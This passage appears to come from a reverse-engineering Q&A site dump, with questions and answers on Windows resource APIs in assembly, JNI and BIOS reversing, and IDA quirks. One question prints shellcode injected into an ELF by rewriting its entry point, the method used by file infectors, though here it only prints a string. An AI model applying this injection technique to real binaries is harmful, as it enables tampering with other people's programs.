  <row Id="23076" PostTypeId="2" ParentId="23045" CreationDate="2020-01-22T12:15:38.623" Score="2" Body="&lt;p&gt;To work this out you need to understand how resources are loaded via Windows APIs. A number of APIs in kernel32.dll are commonly used such as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A number of APIs in Kernel32.dll are used for example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya&quot; rel=&quot;nofollow noreferrer&quot;&gt;LoadLibrary&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibraryexa&quot; rel=&quot;nofollow noreferrer&quot;&gt;LoadLibraryEx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea&quot; rel=&quot;nofollow noreferrer&quot;&gt;GetModuleHandle&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-findresourcea&quot; rel=&quot;nofollow noreferrer&quot;&gt;FindResource&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-findresourceexa&quot; rel=&quot;nofollow noreferrer&quot;&gt;FindResourceEx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-lockresource&quot; rel=&quot;nofollow noreferrer&quot;&gt;LockResource&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-freeresource&quot; rel=&quot;nofollow noreferrer&quot;&gt;FreeResource&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-sizeofresource&quot; rel=&quot;nofollow noreferrer&quot;&gt;SizeofResource&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And for dialogs/windows additional APIs are used in user32.dll, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-registerclassexa&quot; rel=&quot;nofollow noreferrer&quot;&gt;RegisterClassEx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-dialogboxparama&quot; rel=&quot;nofollow noreferrer&quot;&gt;DialogBoxParam&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-loadacceleratorsa&quot; rel=&quot;nofollow noreferrer&quot;&gt;LoadAccelerators&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-loadiconw&quot; rel=&quot;nofollow noreferrer&quot;&gt;LoadIcon&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-loadimagea&quot; rel=&quot;nofollow noreferrer&quot;&gt;LoadImage&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-loadmenua&quot; rel=&quot;nofollow noreferrer&quot;&gt;LoadMenu&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-loadcursora&quot; rel=&quot;nofollow noreferrer&quot;&gt;LoadCursor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-loadstringa&quot; rel=&quot;nofollow noreferrer&quot;&gt;LoadString&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A simple LoadString API in 32-bit code may look something like this where 101 is the string ID.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        mov     DWORD PTR _stringID$[ebp], 101            ; string ID&#xA;        mov     DWORD PTR _pBuf$[ebp], 0&#xA;        push    0&#xA;        lea     eax, DWORD PTR _pBuf$[ebp]                ; put location to store result in eax&#xA;        push    eax&#xA;        mov     ecx, DWORD PTR _stringID$[ebp]            ; string ID = 101&#xA;        push    ecx&#xA;        mov     edx, DWORD PTR _hInstance$[ebp]           ; hInstance&#xA;        push    edx&#xA;        call    DWORD PTR __imp__LoadStringW@16&#xA;        mov     DWORD PTR _len$[ebp], eax                 ; eax holds length of string&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In 64-bit code may look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     DWORD PTR stringID$[rsp], 101       ; string ID&#xA;mov     QWORD PTR pBuf$[rsp], 0&#xA;xor     r9d, r9d&#xA;lea     r8, QWORD PTR pBuf$[rsp]            ; put location to store result in r8&#xA;mov     edx, DWORD PTR stringID$[rsp]       ; string ID = 101&#xA;mov     rcx, QWORD PTR hInstance$[rsp]      ; hInstance&#xA;call    QWORD PTR __imp_LoadStringW&#xA;mov     DWORD PTR len$[rsp], eax            ; length of returned string in EAX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using FindResource in 32-bit may look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    0&#xA;push    10         ; resource type ( 10 = RCDATA section)&#xA;push    100        ; 100 = resource ID&#xA;    mov     eax, DWORD PTR _hInstance$[ebp]    ; hInstance to module containing resource in EAX&#xA;                push    eax&#xA;                call    DWORD PTR __imp__FindResourceExA@16&#xA;                mov     DWORD PTR _rc$[ebp], eax  ; handle to the specified resource's information block returned in EAX&#xA;                mov     ecx, DWORD PTR _rc$[ebp]  ; specify resource information block handle in ECX&#xA;                push    ecx&#xA;                mov     edx, DWORD PTR _hInstance$[ebp] ; hInstance module with resource&#xA;                push    edx&#xA;                call    DWORD PTR __imp__LoadResource@8&#xA;                mov     DWORD PTR _rcData$[ebp], eax  ; hGlobal Handle returned in EAX&#xA;                mov     eax, DWORD PTR _rcData$[ebp]  ; specify hGlobal handle in EAX&#xA;                push    eax&#xA;                call    DWORD PTR __imp__LockResource@4 &#xA;                mov     DWORD PTR _data$[ebp], eax ; If the loaded resource is available, the return value in EAX is a pointer to the first byte of the resource&#xA;                mov     ecx, DWORD PTR _rc$[ebp]  ; resource information block handle&#xA;                push    ecx&#xA;                mov     edx, DWORD PTR _hInstance$[ebp] ; hInstance module with resource&#xA;                push    edx&#xA;                call    DWORD PTR __imp__SizeofResource@8 &#xA;                mov     DWORD PTR _size$[ebp], eax ; EAX contains size of resource in bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FindResource in 64-bit&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor     r9d, r9d&#xA;        mov     r8d, 10    ; resource type = 10 = RCDATA&#xA;        mov     edx, 100   ; resource ID = 100                    &#xA;        mov     rcx, QWORD PTR hInstance$[rsp] ; hInstance to module containing resource&#xA;        call    QWORD PTR __imp_FindResourceExA&#xA;        mov     QWORD PTR rc$[rsp], rax ; handle to the specified resource's information block returned in RAX&#xA;        mov     rdx, QWORD PTR rc$[rsp] ; specify handle to resource information block in RDX&#xA;        mov     rcx, QWORD PTR hInstance$[rsp] ; specify hInstance in RCX&#xA;        call    QWORD PTR __imp_LoadResource&#xA;        mov     QWORD PTR rcData$[rsp], rax ; HGLOBAL returned in RAX&#xA;        mov     rcx, QWORD PTR rcData$[rsp] ; specify HGLOBAL in RCX&#xA;        call    QWORD PTR __imp_LockResource&#xA;        mov     QWORD PTR data$[rsp], rax  ; If the loaded resource is available, the return value in RAX is a pointer to the first byte of the resource&#xA;        mov     rdx, QWORD PTR rc$[rsp]   ; handle to the specified resource's information block&#xA;        mov     rcx, QWORD PTR hInstance$[rsp] ; hInstance for module containing resource&#xA;        call    QWORD PTR __imp_SizeofResource&#xA;        mov     DWORD PTR size$[rsp], eax ; size of data in bytes returned in EAX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="2229" LastEditDate="2020-01-22T23:53:49.807" LastActivityDate="2020-01-22T23:53:49.807" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23077" PostTypeId="2" ParentId="1392" CreationDate="2020-01-22T14:43:11.313" Score="4" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/rohanrhu/gdb-frontend&quot; rel=&quot;nofollow noreferrer&quot;&gt;GDBFrontend&lt;/a&gt; that I develop for a while.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zAc7D.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zAc7D.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30870" LastEditorUserId="30870" LastEditDate="2022-01-30T08:24:52.797" LastActivityDate="2022-01-30T08:24:52.797" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23078" PostTypeId="1" CreationDate="2020-01-23T02:33:13.990" Score="0" ViewCount="200" Body="&lt;p&gt;Let us say I want to reverse engineer a PCIe-based FPGA device. Can I read or extract the IP core or any firmware in the computer's RAM or by trying to communicate with the device in some way?&lt;/p&gt;&#xA;" OwnerUserId="30854" LastActivityDate="2020-01-25T23:12:12.760" Title="Is it possible to read a device's firmware or internal programming in computer's RAM?" Tags="|firmware|hardware|firmware-analysis|fpga|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23079" PostTypeId="1" CreationDate="2020-01-23T11:20:12.307" Score="0" ViewCount="478" Body="&lt;p&gt;i have been trying to use IDA to make a breakpoints on a 4 byte memory address &#xA;to find out what arm op code writes to it . yet it fails to set a breakpoint and gives me this message &quot; Xscale support only 1 byte length hardware breakpoints&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;am using it on rooted mobile Samsung galaxy S6 , Armv8 &#xA;server connection is fine i can live edit values and functions also set a break point on functions ( 1 byte op code ) it works fine  .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i guess that either am doing something wrong or debugger is limited . &#xA;please note that am new to arm debugging o just want to find the op code that writes to this address for an android game . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you much appreciated . &lt;/p&gt;&#xA;" OwnerUserId="30880" LastActivityDate="2020-01-23T11:20:12.307" Title="Using IDA pro 7.2 and android server breakpoints problem" Tags="|ida|android|debuggers|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23080" PostTypeId="1" CreationDate="2020-01-23T14:47:43.583" Score="1" ViewCount="762" Body="&lt;p&gt;I deleted my last question (it was not still answered and none's effort was wasted) as I got back and thought to re-read JNI documentation, to find I misinterpreted some bits. Things are now clearer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though I still cannot understand how JavaObject is passed on? Looking through radare2, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;410: sym.Java_com_asobimo_common_jni_NativeResource_getZipedFile (int16_t arg1, int16_t arg3, int16_t arg4);&#xA;           ; var int16_t var_0h @ sp+0x0&#xA;           ; var int16_t var_ch @ sp+0xc&#xA;           ; var int16_t var_14h @ sp+0x14&#xA;           ; var int16_t var_18h @ sp+0x18&#xA;           ; var int16_t var_1ch @ sp+0x1c&#xA;           ; var int16_t var_34h @ sp+0x34&#xA;           ; var int16_t var_40h @ sp+0x40&#xA;           ; arg int16_t arg1 @ r0&#xA;           ; arg int16_t arg3 @ r2&#xA;           ; arg int16_t arg4 @ r3&#xA;           ; DATA XREF from aav.0x0000c664 @ +0x64&#xA;           0x0000c974  ~   f0b5           push {r4, r5, r6, r7, lr}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is how the static function is called. I feel like the function makes references to passed class objects, since it subtracts &lt;code&gt;0x44&lt;/code&gt; from &lt;code&gt;sp&lt;/code&gt; letter on and then do some stuffs. But, how does this referencing works actually? I am pretty clueless. This is how the Java class looks like which corresponds to it:- &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;package com.asobimo.common.jni;&#xA;&#xA;public final class NativeResource {&#xA;  static {&#xA;    System.loadLibrary(&quot;NativeResource&quot;);&#xA;  }&#xA;&#xA;  public static native void deleteFile(String paramString);&#xA;&#xA;  public static native byte[] getFile(String paramString);&#xA;&#xA;  public static native byte[] getZipedFile(String paramString1, String paramString2);&#xA;&#xA;  public static native boolean isZipedNormality(String paramString);&#xA;&#xA;  public static native void saveFile(String paramString, byte[] paramArrayOfbyte, int paramInt);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, this is not really a necessary thing to answer (and it kinda shifts away from focus of it, I am sorry) but how radare identifies the arguments' size? As it's clear by &lt;code&gt;var int16_t var_40_h @ sp+0x40&lt;/code&gt; being a reference (even though sp is subtracted by &lt;code&gt;0x40&lt;/code&gt;) and the fact that string function were being called using &lt;code&gt;r0&lt;/code&gt; pointer, over &lt;code&gt;r2&lt;/code&gt; and &lt;code&gt;r3&lt;/code&gt;, (which makes it more obvious that they probably are &lt;code&gt;int32_t&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And why radare didn't assign &lt;code&gt;r1&lt;/code&gt; to anything? And skipped &lt;code&gt;arg2&lt;/code&gt;? It probably also has to do with &lt;code&gt;JavaObject&lt;/code&gt;, but I can't really find anything by researching myself. I would really appreciate any help, I badly want that boss battle music hidden behind some encrypted zip files&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case it would help in making some sense, here is the &lt;code&gt;.so&lt;/code&gt; file &lt;a href=&quot;https://files.catbox.moe/foss7s.so&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://files.catbox.moe/foss7s.so&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30864" LastActivityDate="2020-01-23T14:47:43.583" Title="Some obstacles in reversing a JNI Native library" Tags="|android|radare2|c|java|shared-object|" AnswerCount="0" CommentCount="12" ContentLicense="CC BY-SA 4.0" />
  <row Id="23081" PostTypeId="1" AcceptedAnswerId="23082" CreationDate="2020-01-23T18:04:29.000" Score="0" ViewCount="69" Body="&lt;p&gt;I remember that hexrays has the option to generate a dummy struct from a pointer. That is if we access a pointer in offsets 0x36, 0x24 it will create a struct with members off24 , off36. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In what cases do I see this option in the menu? Or how to make it appear?&#xA;I remember that I got it once and it helped me. But since I don't see it , where it is very logical. So, I guess I don't understand its logic. &#xA;Either this, or it is not present in IDA 7.4 .&lt;/p&gt;&#xA;" OwnerUserId="22690" LastActivityDate="2020-01-23T23:14:48.283" Title="Generate dummy struct in IDA hexrays" Tags="|struct|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23082" PostTypeId="2" ParentId="23081" CreationDate="2020-01-23T23:14:48.283" Score="1" Body="&lt;p&gt;You should right-click and select &quot;reset pointer type&quot;. And then you get &quot;make new struct&quot; in the menu. &lt;/p&gt;&#xA;" OwnerUserId="22690" LastActivityDate="2020-01-23T23:14:48.283" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23083" PostTypeId="1" AcceptedAnswerId="23157" CreationDate="2020-01-23T23:28:51.507" Score="1" ViewCount="249" Body="&lt;p&gt;So after changing the entry point via the &lt;strong&gt;e_entry&lt;/strong&gt; field I managed to execute my shellcode before returning control to the original entry point. Here's how I did it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; // write string and jump to OEP, patch address at 23&#xA;    unsigned char shellcode[] = &quot;\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\xeb&quot;&#xA;                      &quot;\x16\x5e\xb0\x01\x40\xb7\x01\xb2\x09\x0f&quot;&#xA;                      &quot;\x05\x48\xb8\x41\x41\x41\x41\x41\x41\x41&quot;&#xA;                      &quot;\xff\xe0\xe8\xe5\xff\xff\xff\x68\x69\x6a&quot;&#xA;                      &quot;\x61\x63\x6b\x65\x64\x0a&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So as soon as I parse the ELF header I patch the shellcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;uint64_t oep = ehdr-&amp;gt;e_entry;&#xA;memcpy(&amp;amp;opcode[23], &amp;amp;oep, 8);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything works, the shellcode executes and then execution resumes where it should. The problem is that after the target's main function finishes it segfaults(To make things simple I just made a program that prints a string).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I used gdb and IDA to see what's going on. Just to make things clear the flow of excution is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;execution starts at the shellcode&lt;/li&gt;&#xA;&lt;li&gt;shellcode jumps to _start&lt;/li&gt;&#xA;&lt;li&gt;_start calls libc_start_main&lt;/li&gt;&#xA;&lt;li&gt;main executes and returns to libc_start_main&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, after main returns IDA shows the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;libc_start_main:&#xA; ext:000000000040244B                 lea     rax, [rsp+108h+var_98]&#xA;.text:0000000000402450                 mov     fs:300h, rax&#xA;.text:0000000000402459                 mov     rdx, cs:environ&#xA;.text:0000000000402460                 mov     edi, [rsp+108h+var_FC]&#xA;.text:0000000000402464                 mov     rsi, [rsp+108h+var_F8]&#xA;.text:0000000000402469                 mov     rax, [rsp+108h+mainaddr]&#xA;.text:000000000040246E                 call    rax             ; jump to main&#xA;.text:0000000000402470                 mov     edi, eax&#xA;.text:0000000000402472&#xA;.text:0000000000402472 loc_402472:                             ; CODE XREF: __libc_start_main+4AF↓j&#xA;.text:0000000000402472                 call    exit&#xA;.text:0000000000402477 ; -----------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;exit&lt;/strong&gt; function ends up calling &lt;strong&gt;run_exit_handlers&lt;/strong&gt; which appears to be the real culprit, as it faults with the following instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     rdx, [rax+18h]&#xA;mov     rdi, [rax+20h]&#xA;mov     qword ptr [rax+10h], 0&#xA;mov     esi, ebp&#xA;ror     rdx, 11h&#xA;xor     rdx, fs:30h&#xA;call    rdx             ; faults&#xA;jmp     loc_40823A&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason rdx has the value of 9, which is not allowed and hence causes the segmentation fault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched for information on &lt;strong&gt;run_exit_handlers&lt;/strong&gt; but didn't find anything meaningful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: Why is this happening? All my shellcode does is write a string and jump to the OEP, it shouldn't really affect anything else.&lt;/p&gt;&#xA;" OwnerUserId="14535" LastEditorUserId="4658" LastEditDate="2020-01-27T23:06:33.250" LastActivityDate="2020-01-30T22:42:00.527" Title="ELF file crashing after executing shellcode" Tags="|ida|x86|elf|shellcode|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="23084" PostTypeId="1" CreationDate="2020-01-24T04:01:38.270" Score="0" ViewCount="43" Body="&lt;p&gt;I noticed that the bootup scripts that collect the password for full disk encryption on linux (fedora-31) were displaying corrupted text.  The kind that looked like binary data being printed at text:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'Forward Password R…uests to Wall Directory Watch'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I examined those binary chars I found between to the 'R' and the 'uests' three binary chars (e2, 80, a6).  When I run those unprintable chars into objdump I get valid opcodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0:   e2 80                   loop   0xffffffffffffff82&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2:   a6                      cmpsb  %es:(%rdi),%ds:(%rsi)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really hoping there is a good reason for valid opcodes being embedded in text messages.  But considering its happening during the full disk encryption password collector it has me worried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also noticed that others have this same issue.  A web search for &quot;Forward Password R...&quot; finds others with the same binary corruption in their bootup logs.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what is going on here?&lt;/p&gt;&#xA;" OwnerUserId="30885" LastActivityDate="2020-01-24T09:17:04.097" Title="Linux encryption/luks/pymouth password scripts corruption" Tags="|disassembly|malware|linux|encryption|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23085" PostTypeId="2" ParentId="23084" CreationDate="2020-01-24T08:52:37.533" Score="1" Body="&lt;p&gt;Relax. Don't panic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those &quot;highly suspicious binary bytes&quot; are the UTF-8 representation of U+2026, which is the Ellipsis &lt;code&gt;...&lt;/code&gt;. It's just to print exactly that string that you're quoting.&lt;br&gt;&#xA;It probably got shortened by an algorithm to make it fit in a preallocated space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that you can disassemble it into &quot;valid opcodes&quot; does not mean a thing. You tested these three bytes but not the bytes around it – you might be surprised to learn that you can 'disassemble' just about any sequence of bytes, be it a JPEG image, MP3 music, and your log file.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2020-01-24T09:17:04.097" LastActivityDate="2020-01-24T09:17:04.097" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23086" PostTypeId="1" AcceptedAnswerId="23107" CreationDate="2020-01-24T12:10:46.973" Score="5" ViewCount="481" Body="&lt;p&gt;I'm trying to reverse a BIOS of an industrial PC in order to repair it. The device is based on an ETX-formfactor mobo, obscure Italian SECO M671, very similar to an old Kontron PM-15(C), but with a custom OEM BIOS. I.e., Intel Celeron M (mobile = Dothan family) processor + 82855 Northbridge + 82801 (ICH4) Southbridge. BIOS is stored on an Intel Firmware Hub-compatible flash chip (sst49lf004b), which is connected to the LPC bus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mobo started to refuse to POST (blank screen and nothing happens) with POST sequence d0, 00, d1, d2. I don't know why there is 00h code (it usually means that control is handed to the OS) and I tried to ignore it. d0, d1, d2 pattern corresponds to AMIBIOS8, I thought, (and yes, noone remembers the bios manufacturer) and means bad bootblock checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I've made a dump of the contents of the flash chip with a parallel programmer. But they turned out to be fine, exactly equal to the backup file (taking into account some offset differences)! Actually, except one thing: flash chip contains (far apart from the &quot;main&quot; code section) a second VGA BIOS module which I've not found in the backups. But I suppose it can't hurt that much and it is there probably for some optional functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So either a bad LPC controller inside flash chip (because programming interface is parallel, this is still possible), or I've misinterpreted the POSTcodes. Also I've compared my backup file to some AMI update files and found no similarities. So it seems BIOS reversing and understanding D2 is now my only option. Probably once I disassemble it right, I'll just have to search for immediate 0xd2-s and find the right one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've loaded flash chip image into IDA, looked up chipset datasheet (which, BTW, I found incredibly unclear on the topic of BIOS memory mapping) and corrected flash chip addresses accordingly, i.e. copied upper 128K of BIOS ROM to 0xE0000 to 0xFFFFF 16-bit analysis section, and also copied everything that fits to High-BIOS area FFE0_0000h-FFFF_FFFFh (32-bit analysis section, because of 32-bit address). Then started analysis at 0xFFFF0 (x86 reset vector, 16-bit real mode). Processor setting is P6 (as far as I can tell Dothan family is based on P6 arch) And this is what I get (note that F7A1 and the pointer in red both lead to memory which is not mapped to BIOS ROM, at least as far as I can tell from the datasheet):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/KhNhl.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KhNhl.png&quot; alt=&quot;IDA disassembly&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, 32-bit analysis (at FFFF_FFF0) of the first 16 bytes executed makes no sense too, since the processor starts up in real mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keyboard controller access (first check if it's busy, then enable A20 - standard x86 thing) tells me that I was probably right with reset vector memory mapping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But why does it jump to some empty locations? What am I doing wrong? Flash chip image and backup file: &lt;a href=&quot;https://drive.google.com/drive/folders/1MwpiqiRK3N9ZBajyiOUuZde522236gmq?usp=sharing&quot; rel=&quot;noreferrer&quot;&gt;https://drive.google.com/drive/folders/1MwpiqiRK3N9ZBajyiOUuZde522236gmq?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: The pointer in red actually leads to a location mapped to BIOS ROM, my bad.&#xA;Here is where the control jumps:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mdGYN.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mdGYN.png&quot; alt=&quot;IDA disassembly2&quot;&gt;&lt;/a&gt;&#xA;We've found POSTcode D0, that's great. But here all jumps lead to some low addresses, which are not mapped to BIOS ROM. Same problem repeats.&lt;/p&gt;&#xA;" OwnerUserId="30881" LastEditorUserId="30881" LastEditDate="2020-01-24T21:38:42.080" LastActivityDate="2023-05-05T06:30:43.880" Title="BIOS first jump leads to empty memory" Tags="|ida|x86|firmware|firmware-analysis|bios|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23090" PostTypeId="1" CreationDate="2020-01-24T14:00:55.740" Score="1" ViewCount="303" Body="&lt;p&gt;I'm currently reversing a Linux 32-bit executable (with a statically linked library included in it) but I'm having a little problem I can't find a solution for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically whenever I stumble across a glibc call (memset, memcpy, etc.) IDA, instead of showing the correct name of the function, it shows a reference to MEMORY as a function call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MEMORY[0xACFC3F9F](s, 0, 44);    // &amp;lt;----- memset&#xA;MEMORY[0xACFC3FBD](dest, 0, 40); // &amp;lt;---- memset&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The interesting part is that when debugging the reference changes to an actual function call (still unknown, but whatever).&#xA;While debugging the MEMORY part changes to:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;((void (__cdecl *)(char *, _DWORD, signed int))unk_F769B4F0)(s, 0, 44);&#xA;((void (__cdecl *)(char *, _DWORD, signed int))unk_F769B4F0)(dest, 0, 40);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;Ghidra&lt;/strong&gt; the same code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;memset(s,0,0x2c);    // &amp;lt;--- correct function name&#xA;memset(dest,0,0x28); // &amp;lt;--- correct function name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IDA should automatically detect std library functions, what could be the reason why it isn't happening here?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: I re-analyzed the executable from scratch (creating a new IDA database) and the references to the functions are here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, &lt;strong&gt;after attaching to the debugger&lt;/strong&gt; all the function calls became &quot;MEMORY&quot; again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the asm:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:566146D7                 mov     [esp], eax      ; s&#xA;.text:566146DA                 call    near ptr memset+566146DBh ; &amp;lt;--- memset call&#xA;.text:566146DF                 mov     dword ptr [esp+8], 28h ; '(' ; n&#xA;.text:566146E7                 mov     dword ptr [esp+4], 0 ; c&#xA;.text:566146EF                 lea     eax, [ebp+dest]&#xA;.text:566146F5                 mov     [esp], eax      ; s&#xA;.text:566146F8                 call    near ptr memset+566146F9h ; &amp;lt;--- memset call&#xA;.text:566146FD                 movsx   eax, [ebp+var_14C]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The memset calls are here but with a memory offset pointing to the next address of the executable.&lt;/p&gt;&#xA;" OwnerUserId="30888" LastEditorUserId="30888" LastEditDate="2020-01-28T16:15:23.383" LastActivityDate="2020-01-28T16:15:23.383" Title="IDA shows MEMORY or unknown 